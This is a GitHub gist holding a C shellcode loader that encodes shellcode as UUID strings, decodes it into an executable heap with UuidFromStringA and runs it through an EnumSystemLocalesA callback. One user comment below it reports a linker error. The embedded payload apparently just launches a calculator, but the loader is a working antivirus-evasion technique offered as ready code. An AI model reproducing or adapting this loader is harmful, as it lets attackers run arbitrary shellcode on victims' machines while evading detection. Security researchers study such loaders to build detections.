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rxwx/uuid.c Secret

Last active Oct 8, 2022
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Execute shellcode using UuidFromStringA & EnumSystemLocalesA
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
const char* uuids[] =
{
"6850c031-6163-636c-5459-504092741551",
"2f728b64-768b-8b0c-760c-ad8b308b7e18",
"1aeb50b2-60b2-2948-d465-488b32488b76",
"768b4818-4810-48ad-8b30-488b7e300357",
"175c8b3c-8b28-1f74-2048-01fe8b541f24",
"172cb70f-528d-ad02-813c-0757696e4575",
"1f748bef-481c-fe01-8b34-ae4801f799ff",
"000000d7-0000-0000-0000-000000000000",
};
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA() != S_OK\n");
CloseHandle(ha);
return -1;
}
hptr += 16;
}
printf("[*] Hexdump: ");
for (int i = 0; i < elems*16; i++) {
printf("%02X ", ((unsigned char*)ha)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
@T3jv1l
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T3jv1l commented Apr 1, 2021

I have this error when i try to compile this code undefined reference to `_imp__UuidFromStringA@8

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